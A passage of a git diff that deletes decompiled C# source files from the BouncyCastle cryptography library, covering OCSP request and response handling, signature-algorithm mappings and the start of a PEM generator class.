/dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Ocsp; - -[Serializable] -public class OcspException : Exception -{ - public OcspException() - { - } - - public OcspException(string message) - : base(message) - { - } - - public OcspException(string message, Exception e) - : base(message, e) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspReq.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspReq.cs deleted file mode 100644 index 1309b22..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspReq.cs +++ /dev/null @@ -1,183 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Ocsp; - -public class OcspReq : X509ExtensionBase -{ - private OcspRequest req; - - public int Version => req.TbsRequest.Version.Value.IntValue + 1; - - public GeneralName RequestorName => GeneralName.GetInstance(req.TbsRequest.RequestorName); - - public X509Extensions RequestExtensions => X509Extensions.GetInstance(req.TbsRequest.RequestExtensions); - - public string SignatureAlgOid - { - get - { - if (!IsSigned) - { - return null; - } - return req.OptionalSignature.SignatureAlgorithm.Algorithm.Id; - } - } - - public bool IsSigned => req.OptionalSignature != null; - - public OcspReq(OcspRequest req) - { - this.req = req; - } - - public OcspReq(byte[] req) - : this(new Asn1InputStream(req)) - { - } - - public OcspReq(Stream inStr) - : this(new Asn1InputStream(inStr)) - { - } - - private OcspReq(Asn1InputStream aIn) - { - try - { - req = OcspRequest.GetInstance(aIn.ReadObject()); - } - catch (ArgumentException ex) - { - throw new IOException("malformed request: " + ex.Message); - } - catch (InvalidCastException ex2) - { - throw new IOException("malformed request: " + ex2.Message); - } - } - - public byte[] GetTbsRequest() - { - try - { - return req.TbsRequest.GetEncoded(); - } - catch (IOException e) - { - throw new OcspException("problem encoding tbsRequest", e); - } - } - - public Req[] GetRequestList() - { - Asn1Sequence requestList = req.TbsRequest.RequestList; - Req[] array = new Req[requestList.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = new Req(Request.GetInstance(requestList[i])); - } - return array; - } - - protected override X509Extensions GetX509Extensions() - { - return RequestExtensions; - } - - public byte[] GetSignature() - { - if (!IsSigned) - { - return null; - } - return req.OptionalSignature.GetSignatureOctets(); - } - - private IList GetCertList() - { - IList list = Platform.CreateArrayList(); - Asn1Sequence certs = req.OptionalSignature.Certs; - if (certs != null) - { - foreach (Asn1Encodable item in certs) - { - try - { - list.Add(new X509CertificateParser().ReadCertificate(item.GetEncoded())); - } - catch (Exception e) - { - throw new OcspException("can't re-encode certificate!", e); - } - } - } - return list; - } - - public X509Certificate[] GetCerts() - { - if (!IsSigned) - { - return null; - } - IList certList = GetCertList(); - X509Certificate[] array = new X509Certificate[certList.Count]; - for (int i = 0; i < certList.Count; i++) - { - array[i] = (X509Certificate)certList[i]; - } - return array; - } - - public IX509Store GetCertificates(string type) - { - if (!IsSigned) - { - return null; - } - try - { - return X509StoreFactory.Create("Certificate/" + type, new X509CollectionStoreParameters(GetCertList())); - } - catch (Exception e) - { - throw new OcspException("can't setup the CertStore", e); - } - } - - public bool Verify(AsymmetricKeyParameter publicKey) - { - if (!IsSigned) - { - throw new OcspException("attempt to Verify signature on unsigned object"); - } - try - { - ISigner signer = SignerUtilities.GetSigner(SignatureAlgOid); - signer.Init(forSigning: false, publicKey); - byte[] encoded = req.TbsRequest.GetEncoded(); - signer.BlockUpdate(encoded, 0, encoded.Length); - return signer.VerifySignature(GetSignature()); - } - catch (Exception ex) - { - throw new OcspException("exception processing sig: " + ex, ex); - } - } - - public byte[] GetEncoded() - { - return req.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspReqGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspReqGenerator.cs deleted file mode 100644 index 7e3dd0f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspReqGenerator.cs +++ /dev/null @@ -1,181 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class OcspReqGenerator -{ - private class RequestObject - { - internal CertificateID certId; - - internal X509Extensions extensions; - - public RequestObject(CertificateID certId, X509Extensions extensions) - { - this.certId = certId; - this.extensions = extensions; - } - - public Request ToRequest() - { - return new Request(certId.ToAsn1Object(), extensions); - } - } - - private IList list = Platform.CreateArrayList(); - - private GeneralName requestorName = null; - - private X509Extensions requestExtensions = null; - - public IEnumerable SignatureAlgNames => OcspUtilities.AlgNames; - - public void AddRequest(CertificateID certId) - { - list.Add(new RequestObject(certId, null)); - } - - public void AddRequest(CertificateID certId, X509Extensions singleRequestExtensions) - { - list.Add(new RequestObject(certId, singleRequestExtensions)); - } - - public void SetRequestorName(X509Name requestorName) - { - try - { - this.requestorName = new GeneralName(4, requestorName); - } - catch (Exception innerException) - { - throw new ArgumentException("cannot encode principal", innerException); - } - } - - public void SetRequestorName(GeneralName requestorName) - { - this.requestorName = requestorName; - } - - public void SetRequestExtensions(X509Extensions requestExtensions) - { - this.requestExtensions = requestExtensions; - } - - private OcspReq GenerateRequest(DerObjectIdentifier signingAlgorithm, AsymmetricKeyParameter privateKey, X509Certificate[] chain, SecureRandom random) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (RequestObject item in list) - { - try - { - asn1EncodableVector.Add(item.ToRequest()); - } - catch (Exception e) - { - throw new OcspException("exception creating Request", e); - } - } - TbsRequest tbsRequest = new TbsRequest(requestorName, new DerSequence(asn1EncodableVector), requestExtensions); - ISigner signer = null; - Signature optionalSignature = null; - if (signingAlgorithm != null) - { - if (requestorName == null) - { - throw new OcspException("requestorName must be specified if request is signed."); - } - try - { - signer = SignerUtilities.GetSigner(signingAlgorithm.Id); - if (random != null) - { - signer.Init(forSigning: true, new ParametersWithRandom(privateKey, random)); - } - else - { - signer.Init(forSigning: true, privateKey); - } - } - catch (Exception ex) - { - throw new OcspException("exception creating signature: " + ex, ex); - } - DerBitString derBitString = null; - try - { - byte[] encoded = tbsRequest.GetEncoded(); - signer.BlockUpdate(encoded, 0, encoded.Length); - derBitString = new DerBitString(signer.GenerateSignature()); - } - catch (Exception ex2) - { - throw new OcspException("exception processing TBSRequest: " + ex2, ex2); - } - AlgorithmIdentifier signatureAlgorithm = new AlgorithmIdentifier(signingAlgorithm, DerNull.Instance); - if (chain != null && chain.Length > 0) - { - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - try - { - for (int i = 0; i != chain.Length; i++) - { - asn1EncodableVector2.Add(X509CertificateStructure.GetInstance(Asn1Object.FromByteArray(chain[i].GetEncoded()))); - } - } - catch (IOException e2) - { - throw new OcspException("error processing certs", e2); - } - catch (CertificateEncodingException e3) - { - throw new OcspException("error encoding certs", e3); - } - optionalSignature = new Signature(signatureAlgorithm, derBitString, new DerSequence(asn1EncodableVector2)); - } - else - { - optionalSignature = new Signature(signatureAlgorithm, derBitString); - } - } - return new OcspReq(new OcspRequest(tbsRequest, optionalSignature)); - } - - public OcspReq Generate() - { - return GenerateRequest(null, null, null, null); - } - - public OcspReq Generate(string signingAlgorithm, AsymmetricKeyParameter privateKey, X509Certificate[] chain) - { - return Generate(signingAlgorithm, privateKey, chain, null); - } - - public OcspReq Generate(string signingAlgorithm, AsymmetricKeyParameter privateKey, X509Certificate[] chain, SecureRandom random) - { - if (signingAlgorithm == null) - { - throw new ArgumentException("no signing algorithm specified"); - } - try - { - DerObjectIdentifier algorithmOid = OcspUtilities.GetAlgorithmOid(signingAlgorithm); - return GenerateRequest(algorithmOid, privateKey, chain, random); - } - catch (ArgumentException) - { - throw new ArgumentException("unknown signing algorithm specified: " + signingAlgorithm); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspResp.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspResp.cs deleted file mode 100644 index 88f5e06..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspResp.cs +++ /dev/null @@ -1,84 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; - -namespace Org.BouncyCastle.Ocsp; - -public class OcspResp -{ - private OcspResponse resp; - - public int Status => resp.ResponseStatus.Value.IntValue; - - public OcspResp(OcspResponse resp) - { - this.resp = resp; - } - - public OcspResp(byte[] resp) - : this(new Asn1InputStream(resp)) - { - } - - public OcspResp(Stream inStr) - : this(new Asn1InputStream(inStr)) - { - } - - private OcspResp(Asn1InputStream aIn) - { - try - { - resp = OcspResponse.GetInstance(aIn.ReadObject()); - } - catch (Exception ex) - { - throw new IOException("malformed response: " + ex.Message, ex); - } - } - - public object GetResponseObject() - { - ResponseBytes responseBytes = resp.ResponseBytes; - if (responseBytes == null) - { - return null; - } - if (responseBytes.ResponseType.Equals(OcspObjectIdentifiers.PkixOcspBasic)) - { - try - { - return new BasicOcspResp(BasicOcspResponse.GetInstance(Asn1Object.FromByteArray(responseBytes.Response.GetOctets()))); - } - catch (Exception ex) - { - throw new OcspException("problem decoding object: " + ex, ex); - } - } - return responseBytes.Response; - } - - public byte[] GetEncoded() - { - return resp.GetEncoded(); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is OcspResp ocspResp)) - { - return false; - } - return resp.Equals(ocspResp.resp); - } - - public override int GetHashCode() - { - return resp.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspRespStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspRespStatus.cs deleted file mode 100644 index 1c74194..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspRespStatus.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Ocsp; - -public abstract class OcspRespStatus -{ - public const int Successful = 0; - - public const int MalformedRequest = 1; - - public const int InternalError = 2; - - public const int TryLater = 3; - - public const int SigRequired = 5; - - public const int Unauthorized = 6; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspUtilities.cs deleted file mode 100644 index 5501da3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspUtilities.cs +++ /dev/null @@ -1,121 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.Ocsp; - -internal class OcspUtilities -{ - private static readonly IDictionary algorithms; - - private static readonly IDictionary oids; - - private static readonly ISet noParams; - - internal static IEnumerable AlgNames => new EnumerableProxy(algorithms.Keys); - - static OcspUtilities() - { - algorithms = Platform.CreateHashtable(); - oids = Platform.CreateHashtable(); - noParams = new HashSet(); - algorithms.Add("MD2WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD2WITHRSA", PkcsObjectIdentifiers.MD2WithRsaEncryption); - algorithms.Add("MD5WITHRSAENCRYPTION", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("MD5WITHRSA", PkcsObjectIdentifiers.MD5WithRsaEncryption); - algorithms.Add("SHA1WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA1WITHRSA", PkcsObjectIdentifiers.Sha1WithRsaEncryption); - algorithms.Add("SHA224WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA224WITHRSA", PkcsObjectIdentifiers.Sha224WithRsaEncryption); - algorithms.Add("SHA256WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA256WITHRSA", PkcsObjectIdentifiers.Sha256WithRsaEncryption); - algorithms.Add("SHA384WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA384WITHRSA", PkcsObjectIdentifiers.Sha384WithRsaEncryption); - algorithms.Add("SHA512WITHRSAENCRYPTION", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("SHA512WITHRSA", PkcsObjectIdentifiers.Sha512WithRsaEncryption); - algorithms.Add("RIPEMD160WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD160WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160); - algorithms.Add("RIPEMD128WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD128WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128); - algorithms.Add("RIPEMD256WITHRSAENCRYPTION", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("RIPEMD256WITHRSA", TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256); - algorithms.Add("SHA1WITHDSA", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("DSAWITHSHA1", X9ObjectIdentifiers.IdDsaWithSha1); - algorithms.Add("SHA224WITHDSA", NistObjectIdentifiers.DsaWithSha224); - algorithms.Add("SHA256WITHDSA", NistObjectIdentifiers.DsaWithSha256); - algorithms.Add("SHA1WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("ECDSAWITHSHA1", X9ObjectIdentifiers.ECDsaWithSha1); - algorithms.Add("SHA224WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha224); - algorithms.Add("SHA256WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha256); - algorithms.Add("SHA384WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha384); - algorithms.Add("SHA512WITHECDSA", X9ObjectIdentifiers.ECDsaWithSha512); - algorithms.Add("GOST3411WITHGOST3410", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - algorithms.Add("GOST3411WITHGOST3410-94", CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94); - oids.Add(PkcsObjectIdentifiers.MD2WithRsaEncryption, "MD2WITHRSA"); - oids.Add(PkcsObjectIdentifiers.MD5WithRsaEncryption, "MD5WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha1WithRsaEncryption, "SHA1WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha224WithRsaEncryption, "SHA224WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha256WithRsaEncryption, "SHA256WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha384WithRsaEncryption, "SHA384WITHRSA"); - oids.Add(PkcsObjectIdentifiers.Sha512WithRsaEncryption, "SHA512WITHRSA"); - oids.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD160, "RIPEMD160WITHRSA"); - oids.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD128, "RIPEMD128WITHRSA"); - oids.Add(TeleTrusTObjectIdentifiers.RsaSignatureWithRipeMD256, "RIPEMD256WITHRSA"); - oids.Add(X9ObjectIdentifiers.IdDsaWithSha1, "SHA1WITHDSA"); - oids.Add(NistObjectIdentifiers.DsaWithSha224, "SHA224WITHDSA"); - oids.Add(NistObjectIdentifiers.DsaWithSha256, "SHA256WITHDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha1, "SHA1WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha224, "SHA224WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha256, "SHA256WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha384, "SHA384WITHECDSA"); - oids.Add(X9ObjectIdentifiers.ECDsaWithSha512, "SHA512WITHECDSA"); - oids.Add(CryptoProObjectIdentifiers.GostR3411x94WithGostR3410x94, "GOST3411WITHGOST3410"); - oids.Add(OiwObjectIdentifiers.MD5WithRsa, "MD5WITHRSA"); - oids.Add(OiwObjectIdentifiers.Sha1WithRsa, "SHA1WITHRSA"); - oids.Add(OiwObjectIdentifiers.DsaWithSha1, "SHA1WITHDSA"); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha1); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha224); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha256); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha384); - noParams.Add(X9ObjectIdentifiers.ECDsaWithSha512); - noParams.Add(X9ObjectIdentifiers.IdDsaWithSha1); - noParams.Add(NistObjectIdentifiers.DsaWithSha224); - noParams.Add(NistObjectIdentifiers.DsaWithSha256); - } - - internal static DerObjectIdentifier GetAlgorithmOid(string algorithmName) - { - algorithmName = Platform.ToUpperInvariant(algorithmName); - if (algorithms.Contains(algorithmName)) - { - return (DerObjectIdentifier)algorithms[algorithmName]; - } - return new DerObjectIdentifier(algorithmName); - } - - internal static string GetAlgorithmName(DerObjectIdentifier oid) - { - if (oids.Contains(oid)) - { - return (string)oids[oid]; - } - return oid.Id; - } - - internal static AlgorithmIdentifier GetSigAlgID(DerObjectIdentifier sigOid) - { - if (noParams.Contains(sigOid)) - { - return new AlgorithmIdentifier(sigOid); - } - return new AlgorithmIdentifier(sigOid, DerNull.Instance); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/Req.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/Req.cs deleted file mode 100644 index 2d6dc0d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/Req.cs +++ /dev/null @@ -1,27 +0,0 @@ -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class Req : X509ExtensionBase -{ - private Request req; - - public X509Extensions SingleRequestExtensions => req.SingleRequestExtensions; - - public Req(Request req) - { - this.req = req; - } - - public CertificateID GetCertID() - { - return new CertificateID(req.ReqCert); - } - - protected override X509Extensions GetX509Extensions() - { - return SingleRequestExtensions; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RespData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RespData.cs deleted file mode 100644 index 7eafe51..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RespData.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class RespData : X509ExtensionBase -{ - internal readonly ResponseData data; - - public int Version => data.Version.Value.IntValue + 1; - - public DateTime ProducedAt => data.ProducedAt.ToDateTime(); - - public X509Extensions ResponseExtensions => data.ResponseExtensions; - - public RespData(ResponseData data) - { - this.data = data; - } - - public RespID GetResponderId() - { - return new RespID(data.ResponderID); - } - - public SingleResp[] GetResponses() - { - Asn1Sequence responses = data.Responses; - SingleResp[] array = new SingleResp[responses.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = new SingleResp(SingleResponse.GetInstance(responses[i])); - } - return array; - } - - protected override X509Extensions GetX509Extensions() - { - return ResponseExtensions; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RespID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RespID.cs deleted file mode 100644 index 3d91159..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RespID.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class RespID -{ - internal readonly ResponderID id; - - public RespID(ResponderID id) - { - this.id = id; - } - - public RespID(X509Name name) - { - id = new ResponderID(name); - } - - public RespID(AsymmetricKeyParameter publicKey) - { - try - { - SubjectPublicKeyInfo subjectPublicKeyInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey); - byte[] str = DigestUtilities.CalculateDigest("SHA1", subjectPublicKeyInfo.PublicKeyData.GetBytes()); - id = new ResponderID(new DerOctetString(str)); - } - catch (Exception ex) - { - throw new OcspException("problem creating ID: " + ex, ex); - } - } - - public ResponderID ToAsn1Object() - { - return id; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is RespID respID)) - { - return false; - } - return id.Equals(respID.id); - } - - public override int GetHashCode() - { - return id.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RevokedStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RevokedStatus.cs deleted file mode 100644 index 8462954..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/RevokedStatus.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class RevokedStatus : CertificateStatus -{ - internal readonly RevokedInfo info; - - public DateTime RevocationTime => info.RevocationTime.ToDateTime(); - - public bool HasRevocationReason => info.RevocationReason != null; - - public int RevocationReason - { - get - { - if (info.RevocationReason == null) - { - throw new InvalidOperationException("attempt to get a reason where none is available"); - } - return info.RevocationReason.Value.IntValue; - } - } - - public RevokedStatus(RevokedInfo info) - { - this.info = info; - } - - public RevokedStatus(DateTime revocationDate, int reason) - { - info = new RevokedInfo(new DerGeneralizedTime(revocationDate), new CrlReason(reason)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/SingleResp.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/SingleResp.cs deleted file mode 100644 index f1dce31..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/SingleResp.cs +++ /dev/null @@ -1,57 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities.Date; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class SingleResp : X509ExtensionBase -{ - internal readonly SingleResponse resp; - - public DateTime ThisUpdate => resp.ThisUpdate.ToDateTime(); - - public DateTimeObject NextUpdate - { - get - { - if (resp.NextUpdate != null) - { - return new DateTimeObject(resp.NextUpdate.ToDateTime()); - } - return null; - } - } - - public X509Extensions SingleExtensions => resp.SingleExtensions; - - public SingleResp(SingleResponse resp) - { - this.resp = resp; - } - - public CertificateID GetCertID() - { - return new CertificateID(resp.CertId); - } - - public object GetCertStatus() - { - CertStatus certStatus = resp.CertStatus; - if (certStatus.TagNo == 0) - { - return null; - } - if (certStatus.TagNo == 1) - { - return new RevokedStatus(RevokedInfo.GetInstance(certStatus.Status)); - } - return new UnknownStatus(); - } - - protected override X509Extensions GetX509Extensions() - { - return SingleExtensions; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/UnknownStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/UnknownStatus.cs deleted file mode 100644 index 76768e9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/UnknownStatus.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Ocsp; - -public class UnknownStatus : CertificateStatus -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/IPasswordFinder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/IPasswordFinder.cs deleted file mode 100644 index e8ad405..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/IPasswordFinder.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.OpenSsl; - -public interface IPasswordFinder -{ - char[] GetPassword(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/MiscPemGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/MiscPemGenerator.cs deleted file mode 100644 index e23d200..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/OpenSsl/MiscPemGenerator.cs +++ /dev/null @@ -1,221 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Pkcs; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; -using Org.BouncyCastle.Utilities.IO.Pem; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.OpenSsl; - -public class MiscPemGenerator : PemObjectGenerator -{ - private object obj; - - private string algorithm; - - private char[] password; - - private SecureRandom random; - - public MiscPemGenerator(object obj) - { - this.obj = obj; - } - - public MiscPemGenerator(object obj, string algorithm, char[] password, SecureRandom random) - { - this.obj = obj; - this.algorithm = algorithm; - this.password = password; - this.random = random; - } - - private static PemObject CreatePemObject(object obj) - { - if (obj == null) - { - throw new ArgumentNullException("obj"); - } - if (obj is AsymmetricCipherKeyPair) - { - return CreatePemObject(((AsymmetricCipherKeyPair)obj).Private); - } - if (obj is PemObject) - { - return (PemObject)obj; - } - if (obj is PemObjectGenerator) - { - return ((PemObjectGenerator)obj).Generate(); - } - string type; - byte[] content; - if (obj is X509Certificate) - { - type = "CERTIFICATE"; - try - { - content = ((X509Certificate)obj).GetEncoded(); - } - catch (CertificateEncodingException ex) - { - throw new IOException("Cannot Encode object: " + ex.ToString()); - } - } - else if (obj is X509Crl) - { - type = "X509 CRL"; - try - { - content = ((X509Crl)obj).GetEncoded(); - } - catch (CrlException ex2) - { - throw new IOException("Cannot Encode object: " + ex2.ToString()); - } - } - else if (obj is AsymmetricKeyParameter) - { - AsymmetricKeyParameter asymmetricKeyParameter = (AsymmetricKeyParameter)obj; - if (asymmetricKeyParameter.IsPrivate) - { - content = EncodePrivateKey(asymmetricKeyParameter, out var keyType); - type = keyType + " PRIVATE KEY"; - } - else - { - type = "PUBLIC KEY"; - content = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(asymmetricKeyParameter).GetDerEncoded(); - } - } - else if (obj is IX509AttributeCertificate) - { - type = "ATTRIBUTE CERTIFICATE"; - content = ((X509V2AttributeCertificate)obj).GetEncoded(); - } - else if (obj is Pkcs10CertificationRequest) - { - type = "CERTIFICATE REQUEST"; - content = ((Pkcs10CertificationRequest)obj).GetEncoded(); - } - else - { - if (!(obj is Org.BouncyCastle.Asn1.Cms.ContentInfo)) - { - throw new PemGenerationException("Object type not supported: " + Platform.GetTypeName(obj)); - } - type = "PKCS7"; - content = ((Org.BouncyCastle.Asn1.Cms.ContentInfo)obj).GetEncoded(); - } - return new PemObject(type, content); - } - - private static PemObject CreatePemObject(object obj, string algorithm, char[] password, SecureRandom random) - { - if (obj == null) - { - throw new ArgumentNullException("obj"); - } - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - if (password == null) - { - throw new ArgumentNullException("password"); - } - if (random == null) - { - throw new ArgumentNullException("random"); - } - if (obj is AsymmetricCipherKeyPair) - { - return CreatePemObject(((AsymmetricCipherKeyPair)obj).Private, algorithm, password, random); - } - string text = null; - byte[] array = null; - if (obj is AsymmetricKeyParameter) - { - AsymmetricKeyParameter asymmetricKeyParameter = (AsymmetricKeyParameter)obj; - if (asymmetricKeyParameter.IsPrivate) - { - array = EncodePrivateKey(asymmetricKeyParameter, out var keyType); - text = keyType + " PRIVATE KEY"; - } - } - if (text == null || array == null) - { - throw new PemGenerationException("Object type not supported: " + Platform.GetTypeName(obj)); - } - string text2 = Platform.ToUpperInvariant(algorithm); - if (text2 == "DESEDE") - { - text2 = "DES-EDE3-CBC"; - } - int num = 